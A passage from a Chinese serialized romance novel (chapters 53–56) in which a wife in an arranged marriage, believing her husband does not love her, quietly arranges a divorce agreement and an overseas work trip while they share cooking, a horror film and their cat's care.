“嗯。”夏声含糊应一声,“你不是也在忙应酬,不用管我。” 两人自始至终,没有眼神交流。 从餐厅出来,周仪娇挽住夏声,有些担忧。 “我哥做什么坏事惹你不高兴了,回头我告诉妈,让她说他!” 夏声装作无事,让她别瞎想。 安真自然知道真有事,夏声也不能跟周仪娇说,毕竟她是周庭朔的妹妹,于是帮忙打掩护。 “你不懂了吧,小别胜新婚,他们这是夫妻情趣,天天腻一起感情就淡了。” 晚上,夏声借宿在安真家,两人躺在一张床上,聊着夜话。 “所以,你家听说哥到底做什么了?” 夏声摆弄着自己的头发,似乎在考虑怎么开口。 转念一想,跟安真有值得粉饰隐瞒的,不如直说。 “他没做什么,是我自己,我才发现他……不喜欢我。” “心情不佳,调理不好。” “虽然是联姻,本不该谈什么感情,但我就是这么没出息,我控制不了。” 安真侧过身,握住她的手。 “什么没出息,情难自禁很正常啊,我跟祁家骏闹了和,和了闹的,就有出息了?” “不过,你怎么知道他不喜欢你的,我看周庭朔对你挺上心,不会你弄错了吧?” 一次生理上的认证,一次他亲口所说。 夏声说服不了是自己弄错。 “真真,你知道我最不能接受的是什么吗?” “是我喜欢他,比自己想象中更多。” 昨天得知周庭朔可能出车祸,她什么顾及也没有了,甚至抛却自身安危,一门心思只为确认他安全。 从那一刻,夏声就知道自己栽了。 安真听出她语气中不加掩饰的失落难过,也不免为她心疼。 “感情是可以培养的,也许再给他一点时间呢,毕竟他在其他方面对你还是挺好的。” 事实如此,但夏声却不愿再体验这种单方面的情感倾注,太煎熬。 明明不爱他的时候,自己是开心的满意的。 如今只会觉得不公平,被亏欠,总是期待,又时时落空。 “算了,别难为彼此了。” 安真坐起来,盯着她。 “什么叫算了?” “你想怎么做?” 第53章 第53章吃不到 接下来如何,夏声心里也只是有个隐约的想法。 但眼下,她是准备先避开对方,冷静一下。 “接下来一段时间,我可能要赖在你这了,好好考虑考虑。” 安真舒口气,横过身来将腿搭在墙上,枕着夏声的小腹躺下。 “你一直在这陪我才好呢。” 夏声笑着,腹腔轻颤:“那可不行,回头祁家骏该要找我茬了。” “你理他干嘛。”安真毫不在意,“我还是那句话,男人没一个好东西。” “看不见我们好的,一巴掌,惹我们伤心的,更是降龙十八掌。” 转日,夏声趁着中午休息,回碧水华汀收拾几件衣服,装进一只手提包。 福宝看见她出来,迈着从容的步伐迎上来,脑袋抬高,似乎想让她摸摸。 夏声从善如流,直接抱住猫猫头亲了几口。 “妈妈出门几天,你在家要乖哦。” 猫咪哪听得懂这些,只一味喵喵叫,享受着主人的抚摸。 下午,夏声要去海关那办点手续,她揉了福宝一会,就匆匆出门。 海关办事效率很高,不到半小时就结束,夏声正准备走时,遇到熟人 对方先一步看到她,远远走来,跟她打招呼。 卓冕:“好久不见,没想到在这能遇到。” 夏声收好文件,笑着回他:“是啊,你怎么会来这?” “有个牵涉的案子,来了解点情况。” 说话间,两人一同走出去,外面日光正盛,夏声抬手挡在眼前,突然听到卓冕提了一嘴。 “上次你们的财产协议还没签,是你有什么想法吗?” “如果你觉得跟他说不方便,可以先跟我说。” 夏声表情一滞:“我可能不会签了。” 对方听到她的回答,明显有些意外。 “这个协议是完全利你的,为什么不签,你有什么顾虑吗?” 她觉得解释起来有些麻烦,可看卓冕又是一副追问到底的意思。 只好坦率直言。 “我可能需要签另一份协议,所以这份用不到了。” 卓冕略一思索:“你觉得财产划分有 问题,要重新拟?” 这会两人已走到车场,夏声看眼左边,自己的车就在不远处。 “我要签的不是财产协议。” 说完,她便转身告辞,只是没等走到车旁,身后的卓冕追上来。 “方便载我回去吗,我车今天限行。” 夏声没多想,微笑点头:“当然,上车吧。” 车子开到卓冕律所楼下,夏声等着对方下车,卓冕却没有动作。 一路未开口的人,这会儿倒是有话要说。 “你跟周庭朔发生什么事了,是吗?” 都是聪明人,在她脱口而出那句话的时候,就难免被他猜到。 其实夏声原本没有下定决心,但今天他问起,反倒让她顺其自然般说出了口。 “嗯,但这件事我还没有跟他谈过,希望你先不要跟他说。” 原本他是周庭朔的朋友,她不该跟他说,但对方是个正人君子,夏声相信他的人品。 卓冕目光沉沉地看着她,须臾开口。 “你考虑好了吗?” 夏声笑笑:“怎么,你是替他问?” “不是。”他表情郑重,“我是在确认你的想法。” “毕竟,我也是你的朋友。” 她手指摩挲着方向盘,语气轻松。 “反正还有机会反悔,在我彻底说出口之前。” 卓冕下车前,深深看了她一眼。 语气像是开玩笑,又带着些许认真。 “如果你需要拟协议,欢迎来找我,我保证不站在他那边。” 就算信任他,夏声也不会真的找他来做,她跟周庭朔的婚姻存续时间短,财产也没有纠纷,想要分开并不难。 他们互相都认识,反而不好公事公办。 夏声没有应,只是跟他礼貌道别。 傍晚,夏声特地去买了些饮料零食,直接去安真家,准备享受闺蜜时间。 不出意外,在晚上收到了周庭朔的信息。 【周庭朔:还在忙?】 彼时,已经是夜里九点多,夏声正坐在安真家里跟她玩游戏,两人玩的组队对抗游戏,又都是菜鸟,手忙脚乱还被己方队友嫌弃。 “太难了,我又被人蹲草阴了。” 趁着阵亡休息,她切出屏幕,才看到他的消息。 随后,编辑好提早想好的借口,发送。 【夏声:今晚要帮真真对下剧本,太晚就不回去了,不用等我。】 碧水华汀的落地窗前,周庭朔垂眸看着手机屏幕上的信息,眉眼低沉。 盛夏时节,他的心情却像梅雨季天气,阴郁潮湿,斑驳霉蚀。 福宝坐在他脚边,尾巴在身后一甩一甩,抬头看着他,似乎在求关注。 “我们俩好像都被人遗忘了。”他低头看着福宝,“你说她到底怎么了?” 似乎找到说话的对象,周庭朔屈膝蹲下,用手机点点福宝的脑袋。 “她为什么不肯回来?” 猫咪缩缩脖子,委屈地趴下,明显不知道答案。 他只好去找可能知道答案的人。 转天,周仪娇看着坐在眼前的这尊佛,手心冒汗。 反复思考最近自己又做什么出格事没。 西苑的八角亭里贯穿着带有淡薄香气的微风,是墙角种植的晚香玉的味道,周庭朔靠坐在亭子里,姿态松弛地看着不远处的葡萄架。 他甚至还记得去年夏声是站在哪个位置,被一只虫子吓到语无伦次。 “最近你嫂子跟你说过什么没?” 一听话题不是关于自己,周仪娇顿时松一口气,随即回忆起来。 想想最近见面那次,她确实觉得有什么不对,可夏声也没具体跟她透露原因。 “好像没有。” 周庭朔收回视线,打量着自己的妹妹。 他目光带着审视,是周仪娇最怕的眼神,她立刻表示自己没有任何隐瞒,确实是不知道。 “但我觉得安真姐应该知道。” 她就算知道,周庭朔去问也不会有结果,他沉默片刻,开口。 “去叫熙熙过来。” 没多久,已经放暑假的周灵熙站在亭子里,拿着手机,按照某人指示打电话。 “小婶婶,我想去你家玩可以吗,好久没有去看小猫咪了。” 夏声正在公司准备一会的会议,抬手看眼时间,回她。 “那你给你小叔叔打个电话,问问他几点回家,你再过去,婶婶今天比较忙可能来不及回去。” 通话免提,周灵熙看眼周庭朔,对方略一扬下巴,示意她按照刚刚定好的话术回。 他早想到夏声会推说忙不在。 周灵熙酝酿下情绪,有些失落的语气:“可是熙熙也想小婶婶了……” 夏声夹着电脑往会议室走,门口看到许可欣还在那边跟甲方打电话,便示意她快点。 现在是下午两点,夏声坐进会议室,分神考虑着。 “那……婶婶大概五点多会下班,你那个时间过来?” 夏声估算一下,周灵熙来玩一会再回西苑,自己走也来得及。 一般周庭朔不会那么早下班的,应该不会碰面。 对面传来雀跃的声音:“好的小婶婶,那就说定了,五点钟我在你家门口等你哦。” 等开完会,夏声又处理些文件,没等到五点就往碧水华汀赶。 她怕让小姑娘等久了。 好在时间卡得刚刚好,她到家时周灵熙也刚到。 小朋友蹦蹦跳跳地跑向她:“小婶婶,我来啦,熙熙好想你。” 夏声蹲下亲了她软乎乎的小脸,牵着她上楼。 两人一进门,福宝就在门口等着,看到周灵熙似乎有些陌生,警惕地凑近闻闻气味,又像想起来了,奶喵音开始叫人。 周灵熙好久没来,高兴地抱着小猫使劲蹭,夏声笑着让她先换鞋,一会再好好吸猫。 两人说说笑笑,逗着福宝跳上猫爬架,周灵熙将小猫咪的零食筐搬来,恨不得每样都给它喂喂。 夏声陪着她玩一会,准备去厨房洗点水果。 这几天徐姐家里有事,请了几天假,夏声拉开冰箱,发现里面食材还不少,便随手拿了几样水果和酸奶。 她动作利落地洗完水果,正切呢,周灵熙跑过来。 “小婶婶有什么需要我做的吗,熙熙也能帮忙。” 夏声将刚切好的芒果送到她嘴里,指指旁边的香蕉。 “那你帮我剥两个香蕉,一会我们吃酸奶碗。” “对了,晚上你想吃什么,婶婶给你安排。” 周灵熙抿着小嘴,没敢说话。 她知道一会小叔叔就回来了,可不敢挑战垃圾食品,但小婶婶又不会做饭,她要吃别的更是为难。 “我还不饿。” 几分钟后,夏声跟周灵熙一人捧着一碗出来,坐在沙发前的地毯看电视。 福宝挤进夏声的腿弯,踩着她的膝盖凑上来闻。 她故意将碗举高,小猫咪急得直接两爪着地站起来,两只白手套不停地虚空扒拉着空气,试图够到她手里的东西。 两人被它的馋猫样逗得大笑。 玄关门就是这时打开的,周庭朔抬头正对上夏声笑弯的眼睛。 她穿着一件纯白色的长裙,柔黑的长发随意拿抓夹固定在脑后,几缕碎发散下来,映着她过分明媚的笑,是别样的松弛惬意。 像夏日清风,冬日暖阳。 明艳的让他移不开眼。 “小叔叔,你回来啦。” 周灵熙保持着演技最高水准,装作不知道他会回来。 夏声唇边的笑慢慢收回,将不安分的福宝抱在怀里,不咸不淡地跟他打招呼。 “今天不加班?” “嗯。”他走到两人面前,看似在问周灵熙,实则余光一直关注着她,“你今天怎么跑来了?” 周灵熙乖巧地回答:“我想小婶婶和福宝了,来找她们玩。” 见他看向自己手里的碗,扬起脸笑。 “小叔叔,厨房里小婶婶还给你留了一碗呢。” 那明明是夏声弄得多了,剩下的。 但是童言无忌,夏声也就默认下来。 不过她知道,周庭朔本不爱吃这些零食类的东西,他连水果都很少吃。 于是开口:“那个你不想吃就放那,一会我们就分着吃了。” 谁知他真的转身去了厨房。 剩下的半碗还留在夏声拌水果的玻璃大碗里,他挽起袖子,从柜子里拿出一只 干净的碗,将水果跟酸奶一起倒进去。 又将原来那个被酸奶和水果糊得乱七八糟的玻璃碗放进水槽,打开水龙头顺手洗干净放到旁边的沥水架。 夏声回头,看到他拿着勺子,将一块裹着酸奶的苹果放进嘴里。 周灵熙还贴心的问道:“怎么样,小婶婶弄得好吃吧?” 他视线缓缓转过来,对上夏声的眼睛。 “嗯,只不过你不来,小叔叔也吃不到。” 夏声:? 第54章 第54章不值得 眼见周庭朔回来,夏声知道一会是不能跟周灵熙美美吃不健康食品了。 她偷偷问小朋友,要不要跟她出去吃。 顺道她可以吃完饭把人送回西苑,自己也就不用回来了。 一举两得。 这边周灵熙还在纠结,那边周庭朔换过衣服出来,直接告诉她们在家吃,他下厨。 周灵熙立刻叛变,表情雀跃:“好耶,我最爱吃小叔叔做得饭。” 夏声:…… 这次是他真正意义上的下厨,而不是前两次简单的煮面而已。 虽然电视机上放着节目,但夏声的注意力还是时不时转移到厨房。 周庭朔修长的背影站在厨房的料理台前,干净利落,有条不紊地进行着一道道工序,似乎将商场上的从容无缝衔接到这里。 灶火上煮沸的水正在给西兰花焯水,烤箱里是定好时已经飘出香气的鸡翅,他本人正在水池前清洗鲜虾。 这种多线操作,夏声是绝对做不到的,她单做一份蛋炒饭,都可能把锅底搞糊。 也是一种超绝天赋吧。 正在感慨,就听到他扬声喊了她一句。 “夏声,麻烦来帮我个忙。” 他正准备做虾,手上湿着所以要她帮忙把围裙系上。 围裙是女士半身款的,夏声双手抓着围裙两端,站在他面前看他。 “你不转过去,我怎么给你系。” 对方的视线噙着她的身影,几秒后才转身。 夏声一手绕过他身前,比好位置,三两下系好结。 粉色的碎花款围裙,配上他深蓝色的家居服,形成一幅冲突又和谐的诡异画面,夏声看了眼,抿着嘴别过头笑了下。 十几分钟后,一桌子菜陆续摆上来。 原本夏声吃了一大碗水果不太饿,但钻进鼻子里的菜香不讲道理,实在是勾得人胃口大开。 况且桌上一共五菜一汤,全是她爱的,这必须要好好尝尝了。 两个姑娘坐在一起,没人说话,只一味埋头苦吃。 周庭朔坐在她们对面,修长的手指握着筷子,间或给她们两人夹菜,自己却没吃几口。 夏声吃得满足,默默感叹,某些人的手艺,不做家庭煮夫可惜了。 更可惜的是,她以后可能也没什么机会吃了。 这么一想,她突然转头,小声跟周灵熙嘀咕。 “要不你下周还来,再让你小叔叔给你下厨?” 周灵熙转转眼珠,似乎在看对面人的眼色。 还没等她回答,周庭朔将盛好的汤放在她俩面前。 “熙熙下周要陪大哥出门。” 夏声刚觉遗憾,又听他说:“她不来,我也可以下厨。” “但某人一直不回家,恐怕是吃不到。” 怎么觉得,今天的周庭朔,总是茶言茶语,话里有话。 吃过饭,夏声主动承担收拾的部分,却被周庭朔制止。 “你陪熙熙玩吧,我来就行。” “那多不好。” 他目光浅淡看她一眼:“你认真的?” 夏声噤声,自然乐得做甩手掌控,转头去跟熙熙逗福宝。 小姑娘把自己珍藏的贴纸拿出来,两张粉色闪片桃心贴在小猫咪的脸蛋上,她的蝴蝶结发带也被系在它脖子上。 福宝遵循尊老爱幼猫咪准则,完全配合,像个萌萌的小玩偶任由周灵熙摆布。 夏声在一旁给她们拍视频,手机突然跳出消息提醒。 【安真:亲爱的,我临时有事要去趟沪市,过几天回来哈。】 【夏声:我呢?baby你走了我住哪啊?】 【安真:你不要逃避了,总要面对他的,乖乖回家跟你家听说哥开诚布公聊聊。】 【安真:我觉得你们的问题还不至于闹到分居。】 放下手机,夏声看了眼身后正在忙碌的身影,叹气。 不是分居不分居的事,她只是想做决定前能尽量分开住,免得节外生枝。 另一边,周庭朔的手机上,一条祁家骏发来的消息弹出来。 【祁家骏:别说哥不帮你,记得欠我一笔。】 信息配图是机场VIP候机厅,照片里的背影就是安真。 他抽空回复。 【周庭朔:知道,谢了。】 周灵熙玩到七点多,家里的司机便来接她。 走前小姑娘承诺,从海南回来要给夏声带礼物。 室内很快只剩两个人,夏声专心收拾被“装扮”过头的福宝,一时家里变得安静起来。 按照惯例,一会周庭朔就该去书房工作,或者去运动一会,可夏声磨蹭到福宝已经收拾干净,还不见他走。 反之,她闻到一股醇香的咖啡味。 回头,看到周庭朔端着一对骨瓷咖啡杯出来,还示意她过去。 厨房一侧的置物台上有一台咖啡机,平时都是闲置状态。 某次夏声无聊时曾研究过,实在是太过麻烦,又是研磨又是萃取,还不如几分钟速溶一杯省时省力。 这会儿闻到这股带有巧克力味道的香气,突然有点能get到繁琐步骤的意义。 “你在公司喝的咖啡,都是秘书小姐给你现磨的吗?” 夏声起身走过去,接过来一杯抿一口,细腻浓郁的口感让她嘴角不自觉上扬。 “应该,没问过。” “咖啡在工作时只是提神工具,我没什么要求。” 她以为像他这种身份的人,会对此有明确偏好,类似几分糖几分奶,精确到每杯味道都相同的那种。 夏声又品了一口,觉得他本人煮咖啡的手艺倒是很好。 “但现在是大晚上,你要提什么神?” 周庭朔落座于沙发上,视线在屏幕上挑选着,点击一部影片,开始播放。 “时间还早,一起看部片子?” 屏幕上播放的是一部泰国恐怖片,夏声莫名看他一眼。 “你怎么想起看这个?” 他姿态从容,优雅地品口咖啡。 “嗯,想了解一下你的喜好。” 看来,上次她被吓得不轻还坚持看恐怖片的事貌似被他记住了。 屏幕上已进入正片,是去年上映的一部系列片最新一部,听说还不错,正好她也没看过。 于是夏声与他分坐左右,中间隔着一人距离。 影片开始十几分钟后,周庭朔起身,将窗帘和顶灯全都关了,整个房间的光源只剩电视屏幕。 见夏声视线盯着他的动作,随口解释。 “这样看沉浸一些,像你上次一样。” …… 夏声很想告诉他倒也不必如此一比一复刻,因为这部片子比她之前看那部要吓人的多,这也是她还没看的原因。 影片故事发生在学校,开始还是比较轻松的氛围,夏声还有余力观察旁边人的神色。 等到进度过半,开始进入剧情精彩部分时,她就有些心有余力不足。 可偏偏旁边还坐个人,她又不好意思显露自己很怕。 就这样硬挺着,咬牙看到主角终于跟恶灵面对面的部分。 一室昏暗,夏声不动声色地往后退,直到倚上沙发,又摸来抱枕在胸前抱着。 太过沉浸的后果就是 ,哪怕她不看屏幕,都能想象到画面的可怖。 她只好略微偏头将注意力转移到旁边人的身上。 周庭朔依旧保持着松弛的姿态,眼睛看着屏幕,大概他神色太过自然放松,幽蓝的光线在他脸上映过,倒也不觉得恐怖了。 “其实主角现在后悔为时已晚。” 他冷不防开口,转头正对上夏声的目光,见她脸色木僵,便将电视调小了声音。 “怕吗?” 上次她大言不惭说自己胆大,这会只好摇头:“不怕啊,前几部我都看过了,不怎么吓人,跟这差不多。” “嗯。”对方将视线落回前面。 几分钟后,他略微向夏声这边挪了挪。 没等她开口,他自己解释。 “我比较怕。” 周庭朔全身上下没有一丝丝害怕的意味,这简直是睁眼说瞎话。 但夏声不会拆穿他,至少两人靠得近些,给她缓解了很大的恐惧情绪。 是谁在迁就顾及她的面子和里子,她还是能分得清。 这部影片着实比前几部还要精彩,高潮一波接一波。 她不敢看时便错开目光,视线落在旁边,发现周庭朔交叠着双腿,手腕搭在膝上,刚好手臂就横在她眼前,只要她一抬手,就能抱上。 这在极度恐怖氛围下,是一个多么大的诱惑。 夏声甚至有一次都伸出手去,又硬生生转移方向,改为抓着沙发抱枕。 直到影片结束,她手里的抱枕都快被捏变形,也没有多向旁边靠一寸。 但她这会儿还能坚持,独自去洗澡时,却怎么也克服不了。 浴室从没有过的空荡,里面安静密闭,哪怕一滴水落地的声音都清晰可闻,让她想起刚刚那部影片浴室那场戏。 夏声在里面站了半天,终于还是败下阵来,打开浴室门伸出脑袋看向刚进门的周庭朔。 “你能陪我说会话吗?” 周庭朔将手上的腕表摘下,抬眼看她。 “现在?” 她抿了抿唇,犹犹豫豫:“就是,一会我洗澡,你跟我随便说点什么……” 对方意会,扫视她背后的浴室。 “要我在外面陪,还是里面?” “外面,当然外面。”她似乎怕对方理解错,赶紧把门掩上。 夏声放好水,就开始有一搭没一搭跟门外人说话。 周庭朔不是个话多的人,如果她不提起话题,通常他很快就没了回音。 于是泡进浴缸的夏声开始跟他讨论起刚刚影片,当然是前半部分还没进入恐怖主题的情节。 影片的恶灵生前因为一些事觉得对不起男友,而选择跳楼,结果死后发现自己是被骗,从而心有不甘,最终成为鬼魂回来复仇。 “你说,如果是你,会因为亏欠而选择殉情吗?” 门外默了一瞬,紧接着他平静的声音传来。 “不会,没有什么感情值得付出生命。” 夏声靠坐在浴缸里,淡然的表情里突然浮现一抹笑,好似想清楚了什么。 是啊,没有什么感情能左右你自己的人生,更遑论献出生命。 第55章 第55章瞒着他 盛夏江南,足让人因炙火的天气而不愿出门。 纵使盛名在外的西湖边,此刻也游客了了。 只有夏声,随身带着一只录音笔,一台相机,走到哪拍到哪,不浪费每一处景致。 沈习诗得知她来出差,特意从沪市赶到这跟她见面。 两人约在市中心的商圈吃饭。 “什么,你要出国?” 烤肉店里,沈习诗举着一大片生菜,盯着夏声。 “嗯,这次国外有个机会,要做传承系列的年度产品,如果能谈下来,未来几年我们公司都不愁发展。” 只不过机会好,相对竞争也大,就夏声所知,国内已经有两家比较知名的文化公司在接洽,云声想要杀出重围必须另辟蹊径。 “你未免太拼了吧,这合作还是八字没一撇,你冲到国外万一竹篮打水一场空。” 夏声将烤好的五花肉剪成合适大小,顺手夹起两块放到沈习诗的菜叶上。 “也不至于一场空,就算落标我去也有别的收获。” 之前合作的法国企业前一阵就邀请她去实地参观,夏声品出对方有进一步合作的意向,自然也该去一趟,刚好两件事可以并行。 “那……你要去多久啊?” 苏打水的气泡在唇齿间炸开,夏声抿抿唇。 “不好说,最少也要一两个月,如果能谈得成系列合作,那至少也要三个月打底。” “而且后续我可能也要经常两地往返。” 沈习诗招呼服务员换烤盘,隔着抽烟筒担忧地看着她。 “你出去这么久,放心你老公一个人在国内?” “他那种条件的人,每天在旁边盯着,都怕有苍蝇惦记,你这一走……” 其实早在夏声出差前就已经联系了律师草拟离婚协议,不过这些事她也不想闹得人尽皆知。 “没关系,是你的别人夺不走,不是你的留也留不住,顺其自然。” 沈习诗称她为“女神”,说她真是足够豁达看得开。 换做是自己,可不敢这么轻易说走就走。 夏声但笑不语。 这次出差,她已经走了三个城市,出来快大半个月,过几天还要去锦城。 出国前,她总要去看看爷爷状况。 是夜,周庭朔照例给她打来电话,两人简单聊聊今天的境况。 三言两语,夏声应付着便准备挂断电话,却听那边周庭朔叫住她。 “什么时候回来?” 夏声正在酒店收拾行李,明天她还要去隔壁市拜访一位非遗传承人。 手机扔在床上,夏声将这几天收集到的地方特色文化纪念品收进箱子。 “怎么了?” 对面似乎在斟酌词句:“福宝好像……有些不对劲。” “福宝?”夏声直起腰,拿过手机,“它怎么了?” 刚好这时,话筒里传来小猫咪略微变调的叫声,跟从前夏声在网上看过的视频一样。 “老吴……老吴……” 她思考了几秒钟,缓缓开口:“它是不是,发情了?” “不清楚,它昨天就开始这样了。” 福宝被抱回家时还是只小猫,算起来这时候是该成年了。 夏声看着脚下收拾得差不多的行李,考虑一会。 “我过两天回去带它绝育,这几天麻烦你照看一下,它可能会比较黏人。” “嗯。”周庭朔很快应下,又问,“你出差还顺利吗?” “挺顺利的。” 夏声感觉到对方欲言又止,不过她也无暇顾及,很快挂断电话。 第二天,夏声一早就前往龙泉,这次她不仅是想要了解青瓷技艺,更多是想从非遗传承人那探寻文化背景故事。 只是原本定的五天行程,要缩短为三天。 她走访了具有代表性的青瓷工作室,并在那学着拉坯,只是手艺生疏,没能成型。 传承人蒋师傅年纪快有夏国理大,对她这样的年轻人格外耐心热情。 “我们小时候可苦得多咯,砸釉石、沉釉沥水、拉胚烧窑施釉,哪一步都要下功夫,你只学了这一会,体验体验就好。” “年轻人肯来了解宣传,我们就高兴。” 老人将自己亲手做的一套茶具送给她,夏声觉得贵重不肯收,但老人坚持,还跟她做了约定。 “如果你能将青瓷推广到国外去,记得给咱们也说一声,让大伙都知道知道。” “家里小辈们总是对老文化不够坚定,也该让他们看看咱自己的东西走出去,多受人欢迎。” 能够坚守传统艺术文化的人,通常质朴亲和,夏声心中因他的话,埋下一枚希望的种子,静待来日花开。 最后半天,她在蒋师傅的推荐下,去了青瓷博物馆参观。 从古老青瓷的印记中,夏声似乎触摸到传承的脉搏,那种灵感几乎瞬间勃发,也为她接下来的工作奠定了思路。 转天夏声回到京市,第一件事,就是带福宝去宠物医院。 登记宠物信息时,看到她的名字,医院的工作人员反复确认了几次。 最后犹豫着问她:“请问,那个‘夏声爱心基金’是不是就是您创办的?” 夏声正安抚航空箱里的福宝,随口回她。 “怎么了?” 工作人员是位笑容很甜的小姐姐,立刻答:“没什 么,只不过我们医院经常接收流浪动物体检、绝育什么的,好多都是这个基金支持的。” “您真有爱心。” 小姐姐又低头看航空箱里的福宝,白白胖胖的大橘,看起来也像是救助回去的。 “您这只猫是要绝育吧,我跟我们院长说一声,由他来操刀吧,他技术最好。” 夏声道了谢,低头悄悄跟福宝说话。 “你这也算是借上爸爸的光,走了医院优待呢。” 话闭,她神色一顿,随即兀自摇摇头。 “以后妈妈走了,你记得要跟爸爸搞好关系,还有熙熙姐姐也会常来找你玩的。” “等妈妈从国外回来,再把你接过来,好吗?” 福宝正好奇地打量医院四周,并没注意她在说什么。 夏声只好将它的小粉爪抬起来,在自己掌心按下。 “好啦,这下咱们说定了,你在家好好表现,等妈妈回来。” 宠物医院的院长经验老道,技术精湛,福宝手术完不到半小时就褪了麻药,可以站起来喵喵叫。 夏声准备付钱时,院长再三拒绝。 “这次不收费,就算我们医院代表小流浪们,对您这样的好心人的一点感谢。” “况且,我们医院定期也有免费为流浪动物绝育的项目,我们福宝就当做其中一员好了。” 善良的人总会相互温暖,夏声最终没再坚持,抱着福宝跟他们道别。 回到家,受了一刀的福宝神色恹恹,再也不上蹿下跳。 夏声蹲着哄他吃猫罐头,但小家伙看她的眼神却透露着警惕。 从前听人说过,猫咪去绝育后会“痛恨”主人,没想到夏声真遇上了。 “你真不来吃?这可是你最爱的金枪鱼罐罐。” 刚好这时周庭朔开门回来,夏声赶紧转头招呼他过去。 “你来看看,它对你什么态度。” 周庭朔已经有几天没见夏声,自从她出差,连个视频都不肯打回来,这会跟他说话倒是熟稔,跟在外敷衍他的时候判若两人。 他放下外套,两步走过来,看着“受伤”的福宝扬了下眉。 没想到小猫咪一反常态,从夏声身边溜走,跑到他脚边低叫。 “果然。”夏声一副没办法的表情,将猫罐头递给他,“这是恨上我了,你来喂吧。” 眼看猫罐头到他手中,福宝甩甩尾巴,似乎来了胃口,周庭朔看眼夏声,又垂眸看着手里的猫罐头,最终妥协,屈尊降贵般将罐罐递到福宝嘴边。 要知道自从猫进家门,他还一次没有喂过它。 罐头腥气,但福宝吃得香,一会功夫就光盘,还不忘蹭蹭投喂人的手背。 这动作亲昵,对他来说却陌生,周庭朔刚要收手,被夏声拉住。 莹白的手指圈在他腕骨上,略微用力让他留在原地。 “福宝是感谢你呢,别拒绝。” 周庭朔并不在意猫的感谢,他的感官停留在手腕间柔软温热的触感,这已经是时隔很久,她再次主动跟他肢体接触。 不过没有两秒,福宝撒完娇,从他们中间走掉,夏声就立即松开他的手,起身。 不知道是不是夏声蹲得太久,猛地动作导致她脑袋发晕,踉跄间周庭朔扶她一把。 “怎么了,不舒服?” 眼前黑色褪去,夹杂些金星在漂浮,夏声摇摇头,由他扶着坐到椅子上。 “没事,可能起猛了。” 其实是前几天出差,她行程安排得太满,每天都几万步的走,总会对身体有些消耗。 周庭朔默默观察她的脸色,除了有些苍白,倒也看不出异样。 “你这几天好好休息,别急着去公司。”见夏声要反驳,他正了正色,“是你说的,公司缺谁一天都不会倒闭。” 夏声心中暗叹:那是你们公司,家大业大,我那小摊子不勤经管着真的会倒闭。 她看向在猫窝里舔毛的福宝,眼睫颤动。 “你以后,隔几天就喂它吃点罐头,猫条每天最多一只。” “这馋猫挑得很,嘴吃叼了怕它不好好吃粮。” 一旁安静听着的周庭朔目光定在她脸侧,须臾蹙了蹙眉。 “你跟我说这些做什么,它不是一直你在管。” “是。”夏声暂时不想跟他坦白,只说,“但你也该跟它搞好关系,毕竟同在屋檐下。” 他不为所动,话转而落到他们之间:“我们也同在屋檐下。” 夏声装作若无其事:“我们关系已经很好了。” 空气有一瞬安静,周庭朔凝着她的眼睛。 “是吗,那为什么你要回去看爷爷,不跟我说。” “你是不是有什么事瞒着我。” 第56章 第56章等准备好协议,一起…… “你怎么知道我要去看爷爷?” 实际上,周庭朔每隔一段时间都会跟夏国理联系,看看老人身体如何,询问下近况,只是这些事他并没跟夏声提过。 “所以你确实有事瞒我。” 其实夏声昨天就收到律师消息,告诉她协议已经草拟好发到她邮箱,只是她在忙现在还没看。 默了一会,她清了清嗓。 “也没想故意瞒着你,原本也只是想出差顺路去看爷爷,就没跟你说。”她转头看着他,表情淡定,“又不是什么大事。” 周庭朔所说的事并不是这一件,但她显然不准备说瞒的到底是什么。 夏声早上回来的行李还放在门口没有收,他扫了眼,又看向独自趴在一边的福宝。 “看来你是专程回来带它绝育,不然此刻人应该已经在锦城了。” 就算再不走心,夏声也听出他有些不高兴。 现在两人的关系就是这样,总会因为一些琐事而陷入僵局,夏声倒有些庆幸,这种境况很快就要结束。 她笑笑:“我带它回来总要负责。” “嗯。”他收回视线,沉黑的眸子凝着她,“你对别人都负责,唯独我。” “出差匆匆就走,还是登机前抽空知会我一声,去锦城探望爷爷也是我自己问出来的,不然你也瞒着。” “你把自己的行程安排得这么满,现在身体都吃不消,到底在赶什么?” 夏声表情一滞,没想到他这样敏锐。 她确实在赶时间,欧洲那边要尽早过去接洽,才能抢在其他竞争者前面。 刚巧福宝喵呜叫了一声,它听到门口有动静转头向那边走。 徐姐一进门,就见到小猫咪戴着伊丽莎白圈,垂着尾巴过来,于是心疼地唤它一声。 “哎呦,乖咪咪,受苦了。” 等抬头才发现两人都在家。 “今天先生和太太都好早,我这就动手,一会就能吃饭。”她抓紧换鞋,走进来。 夏声趁机起身,跟着她一起去厨房,将冰箱里的西瓜拿出来。 她心中无名躁郁,只想吃点凉的压一压。 本想自己动手切,徐姐非要接过去。 夏声只好站在一边,看徐姐提回来的袋子里都买了什么。 “先生知道你今天回来,特意嘱咐我买的都是你爱吃的。” 西瓜被切好装盘,徐姐递过来时突然想起什么,又收了回去。 压低声音问她:“过几天你要来那个了,不能吃冰的吧。” “生理期吗?没关系的。”夏声倒没特意避讳。 徐姐知道她偶尔会因为贪凉肚子疼,于是转头看向周庭朔。 “先生,你不劝劝太太,吃了冰西瓜回头又要不舒服了。” 周庭朔抬眼,刚好与夏声视线相接,默视一瞬,他缓缓起身 。 “她是成年人。” 话落,周庭朔的身影已消失在客厅。 徐姐将西瓜递给夏声,小声问:“先生是不是心情不太好?” 不好是不好,但夏声能明白刚刚他说那句话的意思。 她是成年人,自然能对自己的选择做主,何况是吃什么这种小事,轮不到他人同意或劝阻。 在这些事上,他一贯不会打着关心的旗号,过多干涉她。 夏声让徐姐放宽心,便美美吃起西瓜来。 晚饭后,夏声将电脑上律师发来的离婚协议仔细看了一遍,有几处需要改动的地方,她一一标出来发回去。 她不想过多划分对方的财产,于是要律师就这一块重新调整。 周庭朔忙完出来时,她正坐在落地窗前发呆。 窗外夜色浓郁,霓虹繁华。 透过玻璃窗的反射,她看到身后立着的颀长身影。 夏声嘴角微微上扬,没来由说了句:“周庭朔,你知道吗,我很庆幸当初自己的结婚对象是你。” “这一年来,你都做得很好。” 她语气轻快,虽然仍对着窗外,但周庭朔能想象到她此刻柔和的眸光。 “怎么突然说这些?” 感受到身后的身影靠近,夏声转身抬头,刚好对上他俯视的目光。 两人相视一笑,一时谁也没有说话。 这场景,像定格画一般温馨美好。 须臾,夏声回他:“没什么,只是想让你知道,我是怎么想的。” 哪怕她就要跟周庭朔分开,她也想让对方知道自己并不是对他不满。 相反,就是因为他很好却始终不能真正属于自己,而不得不放手。 